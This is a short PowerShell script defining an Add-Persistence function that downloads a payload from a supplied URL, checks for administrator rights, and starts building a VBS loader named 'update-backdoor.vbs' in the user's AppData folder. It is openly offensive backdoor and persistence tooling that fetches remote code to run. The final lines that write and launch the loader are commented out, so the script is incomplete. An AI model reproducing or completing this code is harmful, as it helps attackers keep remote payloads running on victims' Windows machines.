CreateBAT_Powershell

function Add-Persistence()
{
	param
	(
		[parameter(Mandatory=$true)]
		[string]
		$payloadurl
	)

	# Default saving the payload to the %TEMP% directory
	$tmpdir = $env:APPDATA

	# Change this if desired.
	$payloadvbsloaderpath = "$tmpdir\update-backdoor.vbs"

	# Determine if user is admin. Not required, but nice to know.
	$admin = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")
	if ($admin -eq $true)
		{ Write-Host "[+] User is a local administrator!" }
	else
		{ Write-Host "[-] User is not a local administrator." }

	# Download and verify the payload.
	Write-Host "[+] Downloading payload $payloadurl"
	$payload = (New-Object Net.WebClient).DownloadString($payloadurl)

	$payloadlength = $payload.Length
	if ($payloadlength -gt 0)
		{ Write-Host "[+] Payload length: $payloadlength bytes" }
	else
	{
		Write-Host "[!] Payload length: 0 characters. Is the web server up?"
		return
	}

	# Create the VBS file and insert the powershell command from unicorn.
	Write-Host "[+] Creating VBS loader."
	$vbs = ""
#	$vbs += "ps = ""$payload""`r`n"
#	$vbs += "oShell.run(ps),0,true"
#	$vbs | Out-File $payloadvbsloaderpath -Force
}